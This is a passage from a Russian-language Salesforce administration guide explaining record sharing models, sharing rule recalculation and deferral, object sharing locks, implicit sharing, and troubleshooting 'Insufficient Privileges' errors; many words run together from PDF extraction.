• События, помеченные флажком «Личный», доступны только ответственным. Другим пользователям недоступны
сведенияо событииприпросмотре календаряответственного. Сведенияоличныхсобытияхмогутбытьпросмотрены
в отчетах, результатах поиска или календарях других пользователей только при наличии полномочия «Просмотр
всех данных» или «Изменение всех данных».
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• Пользователи, расположенные в иерархии ролей выше ответственного за запись, могут просматривать или
редактировать записи ответственного только при наличииполномочия объекта «Чтение» или «Редактирование» для
данного типа записи.

• Иерархияролейнепозволяетнаследоватьдоступностьпользователей, инициированнуюпараметром «Доступность
пользователя сообщества». Менеджеру иерархии ролей, который, в отличие от своего подчиненного, не является
участником сообщества, не предоставляется доступ к другим участникам сообщества.Данный алгоритмприменяется
только при использовании сообществ Salesforce.

Удаление записей
• Возможность удаления отдельных записей контролируется администраторами, ответственным, вышестоящими

пользователями в иерархии ролей и другими пользователями с полномочием «Полный доступ».

• Если модели общего доступа задано значение «Общедоступный: для чтения, записи и переноса» (для обращений
или интересов) или значение «Полный общий доступ» (для кампаний), то данные типы записей могут быть удалены
любым пользователем.

Добавление связанных элементов в запись
• Добавление примечаний или вложений в запись возможно только при наличии доступа «Для чтения и записи».

• Добавление действий или других связанных записей возможно только при наличии как минимум доступа «Для
чтения».

Добавление или удаление общего доступа вручную
• Возможностьручногорасширения уровняобщегодоступа котдельнымзаписямконтролируется администраторами,

ответственным, вышестоящимипользователямивиерархииролейидругимипользователямисполномочием «Полный
доступ».

• Изменение модели общего доступа приводит к удалению любого общего доступа, созданного пользователями
вручную.

Полномочия пользователя и объекта
Модель общего доступа определяет параметры доступности записей, а полномочияпользователя и объекта определяют
действия, доступные над этими записями.

• Независимо от параметров общего доступа, пользователи должны иметь соответствующие полномочия объекта.
Например, общедоступная организация доступна пользователям только при наличии полномочия «Чтение» для
организаций. Таким образом, пользователи с полномочием «Правка» для контактов, использующие модель общего
доступа «Личный», могут редактировать только собственные контакты.

• Администраторы и пользователи с полномочием «Просмотр всех данных» или «Изменение всех данных» могут
просматривать или редактировать любые данные.

Общий доступ к организациям
• Чтобыограничитьдоступпользователейкчужимзаписям, связаннымсихорганизациями, выберитесоответствующий

уровень доступа для роли. Например, чтобы ограничить доступ пользователей к чужим возможностям, связанным с
их организациями, выберите уровень «Доступ к возможности».
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• Независимо от единых стандартных параметров, пользователи могут как минимум просматривать организации в
собственныхтерриториях. Крометого, пользователямможетбытьпредоставлендоступнапросмотриредактирование
контактов, возможностей и обращений, связанных с организациями их территорий.

Общий доступ к Apex

ЕсликодApexиспользуетобщедоступныезаписи, связанныеснастраиваемымобъектом, то значенияединыхстандартных
параметров этого объекта немогут бытьизмененыс «Личный» на «Общедоступный». Например, если кодApexизвлекает
группыипользователей, которымпредоставленобщийдоступкнастраиваемомуобъекту Invoice__c (представленов коде
как Invoice__share), то значенияединыхстандартныхпараметров этогообъектанемогутбытьизмененыс «Личный»
на «Общедоступный».

Общий доступ к кампаниям
• В версиях Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition выберите всех пользователей в

качествепользователей Marketing привключенииобщегодоступа к кампаниям. Данноедействиепозволяет упростить
процесс администрированияи устранениянеполадок, так как уровеньдоступаможет контролироватьсяпараметрами
общего доступа и профилями.

Прим.: Данныйспособуправленияпользователяминедоступенклиентам Professional Edition, так какорганизации
Professional Edition не поддерживают настраиваемые профили.

• Чтобы сегментировать доступность между бизнес-единицами и сохранить текущий алгоритм работы внутри
бизнес-единицы, выполните указанные ниже действия.

1. Выберите значение «Личный» для единого стандартного параметра кампании.

2. Чтобы назначить пользователям Marketing модель «Полный общий доступ» ко всем собственным кампаниям
внутри бизнес-единицы, создайте правило общего доступа.

3. Чтобы назначить всем остальным пользователям модель «Только для чтения» ко всем собственным кампаниям
внутри бизнес-единицы, создайте правило общего доступа.

• Если отдельный пользователь (например, региональный менеджер по маркетингу), ответственный за несколько
кампаний, решает сегментировать доступность между бизнес-единицами, то взамен использования правил общего
доступа рекомендуем предоставлять доступ к отдельным кампаниям. Правила общего доступа применяются ко всем
кампаниям, принадлежащим пользователю, и не позволяют сегментировать доступность.

• Прежде чем изменить единые стандартные параметры, создайте все правила общего доступа к кампании, чтобы
минимизировать возможные последствия для пользователей.

• Чтобыпредоставить группепользователейилиопределеннойролиобщийдоступковсемкампаниям, используемым
в организации, создайте правило общего доступа, которое применяется к кампаниям, принадлежащим участникам
общедоступной группы «Вся организация».

• Чтобысократитьнеобходимоеколичествоправилобщегодоступа, воспользуйтесь категорией «Ролииподчиненные
роли» вместо выбора определенной роли.

• Если статистика по иерархии кампаний добавлена в макет страницы, то пользователь может просмотреть сводные
данные для родительской кампании и всех подчиненных ей кампаний, независимо от наличия у пользователя прав
общего доступа к определенной кампании иерархии. Таким образом, при включении статистики по иерархии
кампанийследует учитыватьпараметрыобщегодоступа к кампаниям, заданныеворганизации. Чтобыскрыть сводные
данные по иерархии, удалите некоторые или все поля статистики из связанного списка «Иерархия кампаний». Тем
не менее, данные поля будут доступны для составления отчетов.
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• Если модели общего доступа задано значение «Полный общий доступ» (для кампаний), то данные типы записей
могут быть удалены любым пользователем.

Общий доступ к участникам кампании
Общий доступ к участникам кампании определяется правилами общего доступа к кампании. Пользователи, которые
могут просматривать кампании, также могут просматривать их участников.

Общий доступ к контактам
Единые стандартные параметры общего доступа к контактам недоступны организациям, поддерживающим
организации-лица.

Общий доступ к прайс-листам
• Общий доступ к прайс-листам определяет возможность добавления прайс-листов и их продуктов в возможности.

• Полномочияпользователяопределяютвозможностьпросмотра, создания, редактированияиудаленияпрайс-листов.

СМ. ТАКЖЕ:

Параметры общего доступа

Просмотр переопределений общего доступа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
переопределений общего
доступа:
• «Просмотр настройки и

конфигурации»

Привыбореобъектана странице «Параметрыобщегодоступа» отображается связанный
список «Переопределенияобщегодоступа», которыйсодержитпрофили, игнорирующие
параметры общего доступа для данного объекта.

Для просмотра списка «Переопределение общего доступа» введите «Параметры общего
доступа» в поле «Быстрый поиск» в меню «Настройка», затем выберите «Параметры
общего доступа». Далее выберите объект из списка «Управление параметрами общего
доступа для».

Данныйсписоксодержитполномочия, позволяющиепереопределитьпараметрыобщего
доступадляпрофиля. Полномочия «Просмотрвсехданных» и «Изменениевсехданных»
переопределяют параметры общего доступа для всех объектов организации, тогда как
полномочия «Просмотреть все» и «Изменить все» переопределяют параметры общего
доступа только для указанного объекта.

Прим.: Список «Переопределения общего доступа» не содержит полномочия,
предоставленные посредством наборов полномочий, которые также могут
переопределять параметры общего доступа для объекта.

Чтобы переопределить параметры общего доступа для конкретных объектов,
рекомендуемсоздатьилиизменитьнаборыполномочийилипрофили, а такжевключить
полномочия объекта «Просмотреть все» и «Изменить все». Данные полномочия
предоставляютдоступковсемзаписям, связаннымсобъектомворганизации, независимо
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от параметров общего доступа. Прежде чем включить данные полномочия, рекомендуем сравнить разные способы
управления доступом к данным.

СМ. ТАКЖЕ:

Профили
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Расчеты общего доступа

Пересчет правил общего доступа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Правила общего доступа к
организациям и контактам
доступны в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Правила общего доступа к
территориям организации,
обращениям, интересам,
возможностям, заказам и
настраиваемым объектам
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Правила общего доступа к
кампаниям доступны в
версиях: Professional
Edition (за дополнительную
плату), Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для пересчета правил
общего доступа:
• «Управление общим

доступом»

Как правило, изменение групп, ролей и территорий инициирует автоматическую
переоценку правил общего доступа для добавления или удаления доступа.

Изменением считается добавление или удаление отдельных пользователей из группы,
роли или территории; изменение вышестоящей роли; изменение вышестоящей
территории; добавление или удаление группы из другой группы.

Прим.: Пересчетнедолженвыполнятьсяприкаждомсозданииилиредактировании
правила общего доступа. Кнопки «Пересчитать» в связанных списках «Правила
общего доступа» должны использоваться только в случае неудачного или
неправильного обновления правил общего доступа. При неудачном обновлении
правила общего доступа администратору отправляется соответствующее
электронное уведомление.

Чтобы вручную пересчитать правила общего доступа к объекту, выполните указанные
ниже действия.

1. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

2. Нажмитекнопку «Пересчитать» в связанномсписке «Правилаобщегодоступа» для
нужного объекта.

3. Чтобы увидеть статус пересчета, в разделе настройки введите «Фоновые задания» в
поле «Быстрый поиск», затем выберите «Фоновые задания».

Прим.: Кнопка «Пересчитать» отключена в том случае, если расчет состава
участников группыилиправилобщегодоступаотложен. Правилаобщегодоступа
для связанных объектов пересчитываются автоматически. Например, правила
общего доступа к организации пересчитываются при повторном вычислении
правил общего доступа к возможностям, так как записи возможностей находятся
во взаимосвязи «основная-подробная» с записями организации.

При пересчете общего доступа система Salesforce также выполняет полный пересчет
общего доступа к Apex. Припересчете правил общего доступа правило общего доступа
к связанному объекту также пересчитывается. Уведомление о завершении данного
процесса будет отправлено по эл. почте. Например, при пересчете правила общего
доступа для возможностей правила общего доступа к организации также
пересчитываются, так как возможность — это сведения объекта организации.

713

Общий доступНастройка и обслуживание организации Salesforce



Автоматический расчет правил общего доступа включен по умолчанию. При необходимости расчет правил общего
доступа может быть приостановлен и затем возобновлен.

СМ. ТАКЖЕ:

Правила общего доступа

Отсрочка расчетов общего доступа

Отслеживание фоновых заданий

Асинхронный параллельный пересчет правил общего доступа

Асинхронный параллельный пересчет правил общего доступа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Асинхронноеипараллельноевыполнениепозволяет ускоритьпересчетправилобщего
доступа.

Теперь создание, обновление или удаление правил общего доступа инициирует
асинхронное и параллельное выполнение итогового пересчета. Пересчет выполняется
параллельно и асинхронно в фоновом режиме, что позволяет ускорить сам процесс, а
такжеповысить устойчивостьопераций, выполняемыхна сайте (например, исправления
и перезагрузки сервера), к внешним воздействиям. По завершении пользователю
отправляется электронное уведомление. Другие операции общего доступа (например,
создание правила общего доступа или обновление единых стандартных параметров)
могут выполняться только после завершения пересчета.

Если количество записей, на которые влияют вставки или обновление правила общего
доступа, меньше 25 000, пересчет выполняется синхронно и по его завершении
электронноеуведомлениеотправленонебудет. Операциивставкииобновленияправила
общего доступа на основе ответственного, которые оказывают влияние менее чем на 25 000 записей, не доступны на
странице «Фоновые задания».

Ниже перечислены действия, которые также инициируют параллельный пересчет правил общего доступа.

• При нажатии кнопки «Пересчитать» в разделе «Правила общего доступа» страницы «Параметры общего доступа».

• При пересчете правил общего доступа на странице предоставления отсрочки.

Страница «Фоновые задания» позволяет отслеживать выполнение параллельного пересчета; страница «Просмотр
контрольного журнала настройки» позволяет просматривать недавние операции общего доступа.

Пересчетправилобщегодоступасохраняет скрытыйобщийдоступмеждуорганизациямиидочернимизаписями. Данные
процессы соответствуют подтипам задания «Организация: удаление дополнительного родительского доступа» и
«Организация: предоставление родительского доступа» на странице «Фоновые задания». Кроме того, удаление
правила общего доступа соответствует подтипу задания «Объект: очистка доступа», указывающему на удаление
недопустимых строк общего доступа.

Прим.: Дополнительную информацию о доступе к записи см. в документе Designing Record Access for Enterprise Scale.

СМ. ТАКЖЕ:

Отслеживание фоновых заданий

Пересчет правил общего доступа

Встроенный алгоритм общего доступа

714

Общий доступНастройка и обслуживание организации Salesforce

https://developer.salesforce.com/page/Designing_Record_Access_for_Enterprise_Scale


Отсрочка расчетов общего доступа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Большоеколичествоизмененийвконфигурацииможетпривестикувеличениювремени
оценки правил общего доступа или завершению сеанса. Во избежание возможных
проблем, администратор может временно прекратить выполнение расчетов и
возобновить их при плановом обслуживании организации.

Прим.: По умолчаниюфункция отсрочки в расчете общего доступа отключена.
Чтобывключитьданнуюфункциюворганизации, обратитесьвкомпаниюSalesforce.

Рекомендуем использовать функцию отсрочки в расчете общего доступа при
многочисленныхизмененияхролей, территорий, групп, пользователей, ответственности
за организации портала или общедоступных групп, участвующих в правилах общего
доступа. Данная функция позволяет отложить автоматический расчет общего доступа
на более поздний срок.

Функции расчета состава участников группы и правил общего доступа включены по умолчанию.

Возможные действияУсловие

Функции расчета состава участников группы и правил
общего доступа включены

• Временноепрекращение, обновлениеивозобновление
расчета состава участников группы. Расчет правил
общего доступа временно приостанавливается и
требуется их полный пересчет.

• Временноепрекращение, обновлениеивозобновление
расчета правил общего доступа.

Временное прекращение, обновление и возобновление
расчета состава участников группы.

Функция расчета состава участников группы включена, а
расчет правил общего доступа временно приостановлен

Временное прекращение, обновление, возобновление и
пересчет правил общего доступа.

Функциярасчетаправилобщегодоступавключена, арасчет
состава участников группы временно приостановлен

Дополнительную информацию о временном прекращении и возобновлении расчета состава участников группы см. в
разделе «Управление расчетом состава участников группы».

Дополнительную информацию о временном прекращении, возобновлении и пересчете правил общего доступа см. в
разделе «Отсрочка расчетов правил общего доступа».

СМ. ТАКЖЕ:

Пересчет правил общего доступа
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Управление расчетами состава участников группы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отсрочки (временного
прекращения и
возобновления) расчетов
общего доступа:
• «Управление

пользователями»

И

«Управление отсрочкой
в расчете общего
доступа»

Если изменение группы влияет на большое количество записей, то автоматический
расчет состава участников группы может быть приостановлен, а затем возобновлен.
Обратите внимание, что отказ от возобновления расчета может инициировать
несоответствия общего доступа к записям.

При каждомизменении ролей, территорий, групп, пользователей или ответственности
за организации портала выполняется автоматический пересчет состава участников
группы с целью добавления или удаления доступа. Изменением считается добавление
илиудалениепользователяиз группы, либоизменениеролидляпредоставлениядоступа
к другим наборам отчетов.

Чтобы временно прекратить или возобновить расчеты состава участников группы,
выполните указанные ниже действия.

1. Введите «Отложить расчеты общего доступа» в поле «Быстрый поиск» в меню
«Настройка», затем выберите «Отложить расчеты общего доступа».

2. Нажмитекнопку«Приостановить» в связанномсписке «Расчетысостава участников
группы».

Прим.: Если расчет состава участников группы откладывается, то также
откладываетсярасчетправилобщегодоступа (еслиданнаяфункция включена).
Привозобновлениирасчетасоставаучастниковгруппынеобходимовыполнить
полный пересчет правил общего доступа.

3. Измените роли, территории, группы, пользователей или ответственность за
организации портала.

4. Чтобы включить функцию расчета состава участников группы, нажмите кнопку
«Возобновить».

СМ. ТАКЖЕ:

Отсрочка расчетов общего доступа
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Отсрочка расчетов правил общего доступа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Правила общего доступа к
организациям и контактам
доступны в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Правила общего доступа к
территориям организации,
обращениям, интересам и
возможностям доступны в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Правила общего доступа к
кампаниям доступны в
версиях: Professional
Edition (за дополнительную
плату), Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Правила общего доступа к
настраиваемым объектам
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.
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ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отсрочки (временного
прекращения и
возобновления) и пересчета
правил общего доступа:
• «Управление

пользователями»

И

«Управление отсрочкой
в расчете общего
доступа»

Прим.: По умолчаниюфункция отсрочки в расчете общего доступа отключена.
Чтобывключитьданнуюфункциюворганизации, обратитесьвкомпаниюSalesforce.

Чтобы временно прекратить, возобновить или пересчитать правило общего доступа,
выполните указанные ниже действия.

1. Введите «Отложить расчеты общего доступа» в поле «Быстрый поиск» в меню
«Настройка», затем выберите «Отложить расчеты общего доступа».

2. Нажмите кнопку «Приостановить» в связанном списке «Расчеты правил общего
доступа».

3. Внеситеизменениявправилаобщегодоступа, роли, территорииилиобщедоступные
группы, участвующие в правилах общего доступа.

Прим.: Любые изменения в правилах общего доступа требуют выполнения
полного пересчета.

Чтобы включить функцию расчета правил общего доступа, нажмите кнопку
«Возобновить».

4. Чтобы пересчитать правила общего доступа вручную, нажмите кнопку «Пересчитать».

Преждечемвыполнитьпакетноеобновлениеправилобщегодоступа, рекомендуемвоспользоватьсяотсрочкойврасчете
общего доступа. При пересчете общего доступа система Salesforce также выполняет полный пересчет общего доступа к
Apex.

СМ. ТАКЖЕ:

Управление расчетами состава участников группы

Блокировки объектного общего доступа (пробная версия)

ВЕРСИИ

Доступно в: Salesforce
Classic и Lightning
Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Создание, редактированиеилиудалениеправилаобщегодоступаинициируетпересчет,
позволяющийобновлятьдоступк записямворганизации. Даннаяоперацияможет занять
некоторое времяприналичиибольшогоколичествапользователейилиобъемаданных.
Функция блокировок объектного общего доступа позволяет изменить правило общего
доступа для других объектов без ожидания завершения пересчета всех объектов. В
зависимостиотобъекта, типаправилаобщегодоступаицелевой группыпользователей,
система позволяет изменять правила общего доступа для другого или того же объекта
посредством пользовательского интерфейса или API.

Прим.: Пробная версия данной функции предоставляется отдельным клиентам
после принятия соответствующих условий. Для получения доступа обратитесь в
компанию Salesforce. Принятие пробной версии не гарантируется ввиду ее
возможного изменения. Согласно данному документу, другим пресс-релизам и
официальнымсообщениям, даннаяпробнаяфункцияне являетсяобщедоступной.
Компания Salesforce не может гарантировать ее общедоступность на постоянной
иливременнойоснове. Рекомендуемприобретатьтолькообщедоступныефункции.

Отсутствие блокировок объектного общего доступа препятствует отправке одновременных изменений общего доступа
до завершенияпересчета всехобъектов. Привключенииблокировокобъектногообщегодоступапросмотритеизменения
организации ниже.
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Правила общего доступа на основе критериев и ответственности
Пересчет выполняется при изменении правила общего доступа или нажатии кнопки «Пересчитать» на странице
«Параметры общего доступа». Нажатие данной кнопки блокирует правила общего доступа для данного объекта (1),
но не препятствует изменению правил общего доступа для другого объекта.

Прим.: Пересчет не должен выполняться при каждом создании или редактировании правила общего доступа.
Рекомендуем использовать кнопки «Пересчитать» в связанных списках «Правила общего доступа» только при
неудачномилинекорректномобновленииправилаобщегодоступа. Принеудачномобновленииправилаобщего
доступа администратору отправляется соответствующее электронное уведомление.

Привыполнениипересчетаобщегодоступанаосновеответственностипользователинемогутсоздавать, редактировать
и удалять правила общего доступа на основе ответственности для объекта, ориентированного на затронутую группу
пользователей. Например, предположим, чтосозданноеправилообщегодоступакинтересамнаосновеответственности
ориентируется на всех внутренних пользователей. Другие правила общего доступа к интересам на основе
ответственности, ориентированные на всех внутренних пользователей, могут быть созданы, обновленыили удалены
только после завершения пересчета. Уведомление о завершении пересчета будет отправлено по эл. почте. Тем не
менее, пользователи могут создавать другие правила общего доступа к интересам на основе ответственности,
ориентированные на любую другую общедоступную группу, кроме группы «Все внутренние пользователи», при
выполнении пересчета, инициированного созданием первого правила общего доступа.

При выполнении пересчета общего доступа на основе критериев пользователи не могут редактировать или удалять
данноеправило (2). Темнеменее, пользователимогутодновременносоздавать, редактироватьи удалятьлюбыедругие
правила общего доступа на основе критериев или ответственности.
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Пользователи не могут изменять единые стандартные параметры при выполнении пересчета (и наоборот).

Организации, обращения, контакты и возможности
Правила общего доступа могут влиять на организации и связанные дочерние записи (обращения, контакты и
возможности), инициируя их одновременную блокировку для надлежащего выполнения пересчета. Например,
создание или редактирование правил общего доступа к организациям препятствует созданию или редактированию
правила общего доступа к обращениям, контактам или возможностям. Аналогично, создание или редактирование
правила общего доступа к возможностям препятствует созданию или редактированию правила общего доступа к
обращениям, контактам или организациям до завершения пересчета. Обратите внимание, что блокировки не
используются совместно разными объектами, кроме организаций и связанных дочерних записей.

Прим.: Нажатие кнопки «Пересчитать» для правил общего доступа к любому из данных четырех объектов
препятствует изменению любых связанных правил общего доступа до завершения пересчета.

Впримеренижеправилообщегодоступа корганизациямнаосновеответственностиудаленоивыполняетсяпересчет.
Несмотря на невозможность создания, редактирования или удаления другого правила общего доступа на основе
ответственности, ориентированного на любой из данных объектов, пользователь может изменить правило общего
доступа на основе критериев (3), ориентированное на данные объекты.
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СМ. ТАКЖЕ:

Правила общего доступа

Пересчет правил общего доступа

Отсрочка расчетов общего доступа
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Встроенный алгоритм общего доступа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Общий доступ для
организаций и контактов
доступен в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Общий доступ для
обращенийи возможностей
доступен в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Система Salesforce поддерживает скрытый общий доступ между организациями и
дочерними записями (возможности, обращения и контакты) для различных групп
пользователей портала.

Общий доступ между организациями и дочерними записями

• Доступкродительскойорганизации: приналичиидоступа к дочернейзаписи
организации сама организация доступна только для чтения.

• Доступкдочернимзаписям: приналичиидоступакродительскойорганизации
пользователю могут быть доступны связанные дочерние записи. Роль
ответственногозаорганизациюопределяет уровеньдоступа кдочернимзаписям.

Алгоритм общего доступа для пользователей портала

• Доступ к организациям и обращениям: при наличии доступа к организации
пользователю портала может быть доступна родительская организация и все ее
контакты только для чтения.

• Доступкуправлениюданными, принадлежащимипользователямпортала
Service Cloud: пользователи портала Service Cloud не имеют ролей, поэтому
ответственные за организации портала не могут получить доступ к данным
посредствомиерархииролей. Чтобыпредоставитьимдоступкданным, добавьте
ответственных за организации в группу общего доступа к порталу, участниками
которой являются пользователи портала Service Cloud. В этом случае
предоставляетсядоступковсемданным, принадлежащимпользователямпортала
Service Cloud на этом портале.

• Доступ к обращениям: пользователю портала, являющемуся контактом обращения, само обращение доступно
только для чтения.

Операции над составом участников группы и пересчет общего доступа
Простые операции (например, изменение роли пользователя, перемещение роли в другую область иерархии или
смена ответственности за организацию портала) могут инициировать пересчет правил общего доступа. Система
Salesforce должна проверять доступ к данным пользователя для вышестоящих пользователей новой или устаревшей
роли в иерархии, и добавлять или удалять общие доступы к любым соответствующим записям.

СМ. ТАКЖЕ:

Обеспечение безопасного доступа к данным

Устранение ошибок «Недостаточно полномочий»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

Как правило, ошибки «Недостаточно полномочий» отображаются при отсутствии
нужного полномочия или применении параметра общего доступа, препятствующего
доступу к записи или выполнению задачи (например, запуск отчета).

Права доступа могут отсутствовать на разных уровнях (например, объект, запись или
процесс). Например, доступ к объекту «Организация» может быть запрещен профилем
пользователя, а доступ к записи обращения — рольюпользователя. Кроме того, данная
ошибка может отображаться при выборе ссылки на недоступную запись или вкладку
страницы Visualforce.
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Большинствообращенийможетбытьобработанопосредствомкнопки «Общийдоступ» на странице сведенийо записи,
которая при необходимости позволяет предоставить общий доступ к записи другому пользователю. Кроме того, данная
ошибкаможетбытьобработанаадминистраторамипосредствоминтерфейсаAPI (например, опрособъекта UserRecordAccess
для проверки доступа пользователя к набору записей). Дополнительнуюинформациюсм. в Руководстве разработчика SOAP
API.

Если данные инструменты не позволяют устранить ошибку, выполните указанные ниже действия.

• Чтобы устранить ошибки доступа на уровне объекта, просмотрите профили пользователей и наборы полномочий.

• Чтобы устранить ошибки доступа на уровне записи, просмотрите параметры общего доступа (например, единые
стандартные параметры и правила общего доступа).

• Чтобы устранить ошибки доступа на уровне процесса, просмотрите правила проверки и триггеры Apex.

При необходимости администратор может выполнить вход в приложение от имени соответствующего пользователя.
Пользователь может предоставить администраторам доступ и определить срок его действия.

Устранение ошибок доступа на уровне объекта и полномочия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра профилей и
наборов полномочий:
• «Просмотр настройки и

конфигурации»

Для редактирования
полномочий объекта:
• «Управление

профилями и наборами
полномочий»

И

«Настройка
приложения»

Ошибки «Недостаточно полномочий» могут быть вызваны отсутствием нужных
полномочий пользователя и объекта. Ошибки данного типа устраняются посредством
профиля пользователя и наборов полномочий.

Как правило, ошибки доступа на уровне объекта и полномочия обрабатываются
посредством интерфейса API. Чтобы обработать данные ошибки посредством
интерактивных инструментов, выполните указанные ниже действия.

1. Проверьте полномочия объекта в профиле пользователя.

Полномочияобъекта, настроенныевпрофиляхинаборахполномочий, определяют
объекты, доступные пользователям для чтения, создания, редактирования или
удаления.

a. Щелкнитессылкунапрофильпользователянастраницесведенийопользователе.

b. Щелкните ссылку «Параметры объекта» или «Полномочия объекта» на
странице общих сведений о профиле.

Выберитенужныеполномочиядляобъекта. Например, организацияможетбыть
просмотрена только при наличии полномочия «Чтение» для объектов
«Организация» и «Контакт» в профиле пользователя.

Или, отчетможетбытьвыполнентолькоприналичииполномочия «Чтение» для
соответствующего объекта.

2. В зависимости от пользовательского интерфейса профиля, проверьте полномочия
пользователя одним из способов ниже.

• При использовании расширенного пользовательского интерфейса профиля
просмотритеполномочиявразделах «Полномочияприложения» и «Полномочия
системы».

• При использовании исходного пользовательского интерфейса профиля просмотрите полномочия в разделах
«Полномочия администратора» и «Общие полномочия пользователя».

Выберите соответствующие полномочия пользователя. Например, сообщение эл. почты может быть отправлено
интересу только при наличии полномочия «Отправка эл. почты».

3. Проверьте полномочия в наборах полномочий пользователя.
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a. Прокрутитестраницусведенийопользователедосвязанногосписка «Назначениянабораполномочий» ищелкните
каждый набор полномочий.

b. Щелкните ссылку «Параметры объекта» на странице общих сведений о наборе полномочий и просмотрите
назначенные полномочия объекта.

c. Просмотрите полномочия пользователя в разделах «Полномочия приложения» и «Полномочия системы».

d. Повторите данные действия для каждого набора полномочий, назначенного пользователю.

4. Принеобходимостиназначьтенужноеполномочиепосредствомнабораполномочийилипутемобновленияпрофиля.
Наборыполномочийпредоставляютдоступнаиндивидуальнойоснове. Рекомендуемназначатьполномочияпрофилю
пользователятолько в томслучае, еслидоступтребуется всемпользователямданногопрофиля. Преждечемвыполнить
какое-либо действие, настоятельно рекомендуем просмотреть политику безопасности организации.

СМ. ТАКЖЕ:

Устранение ошибок «Недостаточно полномочий»

Наборы полномочий

Полномочия и доступ пользователя

Профили

Устранение ошибок доступа на уровне записи

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
редактирования правил
общего доступа:
• «Управление общим

доступом»

Для настройки рабочих
групп:
• «Настройка

приложения»

Для управления
территориями:
• «Управление

территориями»

Ошибки «Недостаточнополномочий» могутбытьвызваныпараметрамиобщегодоступа
(например, ролями или правилами общего доступа).

При наличии ошибки на уровне записи выполните указанные ниже действия. При
необходимости воспользуйтесь интерфейсом API для отправки запроса на доступ
пользователя к набору записей или кнопкой «Общий доступ» на странице сведений о
записи.

1. Если организация использует роли, проверьте роль пользователя относительно
ответственного за запись.

Например, удалениезаписейдоступнотолькоответственнымзазаписи, вышестоящим
пользователям в иерархии ролей и администраторам. Подобным образом, при
наличиифлажка «Предоставить доступ с использованием иерархий» (только
для настраиваемых объектов) пользователям всегда доступны для чтения записи
нижестоящих пользователей в иерархии ролей.

a. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Пользователи».

Проверьте роли пользователя и ответственного за запись.

Например, несмотря на наличие соответствующих полномочий для объектов,
пользователь не может удалять или объединять организации, принадлежащие
другому пользователю в несвязанной иерархии ролей.

2. Если доступ предоставляется пользователю посредством правила общего доступа,
проверьте правила общего доступа.

Возможно, пользователь случайно удален из правила общего доступа.
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a. Вразделе «Настройка» введите «Параметры общего доступа» вполе «Быстрый поиск», затемвыберите«Параметры
общего доступа».

b. Проверьте общедоступную группу (или другие категории, например, роли или очереди), которой должен
принадлежать пользователь.

3. Проверьте группы сбыта.

Возможно, пользователь удален в результате настройки групп, работающих с организациями, возможностями или
обращениями. Просмотрите рабочие группы на наличие соответствующего пользователя.

a. В разделе «Настройка» введите группу, которую вы хотите проверить, например «Группы, работающие с
организациями», в поле «Быстрый поиск», затем выберите нужную группу.

При необходимости добавьте пользователя в рабочую группу.

4. Проверьте общий доступ, установленный вручную.

Возможно, автоматическое удаление общего доступа, установленного вручную, инициировано изменением
ответственного за запись. Общий доступ, установленный вручную, может быть также удален посредством кнопки
«Общий доступ» на странице сведений о записи. Общий доступ к записи может быть предоставлен или отменен
вручную только ответственным за запись, администратором или вышестоящим пользователем в иерархии ролей.

a. Нажмите кнопку «Общий доступ» на странице сведений о записи.

Страница «Сведения об общем доступе» содержит список пользователей, групп, ролей и территорий, имеющих
доступ к записи.

b. Чтобыпредоставитьпользователюдоступпосредствомобщегодоступа, установленноговручную, нажмитекнопку
«Добавить» для создания общего доступа, установленного вручную.

5. Просмотрите территории.

Если организация использует территории, то, возможно, пользователь удален из территорий или записи назначена
территория без участия пользователя. В противном случае, пользователь должен являться менеджером прогнозов,
флажок «Управление территориями может осуществляться менеджерами прогнозов» долженбыть установленили
пользователь должен работать ниже собственного уровня в иерархии территорий.

СМ. ТАКЖЕ:

Устранение ошибок «Недостаточно полномочий»

Иерархия ролей пользователей

Правила общего доступа
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Устранение ошибок доступа на уровне процесса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
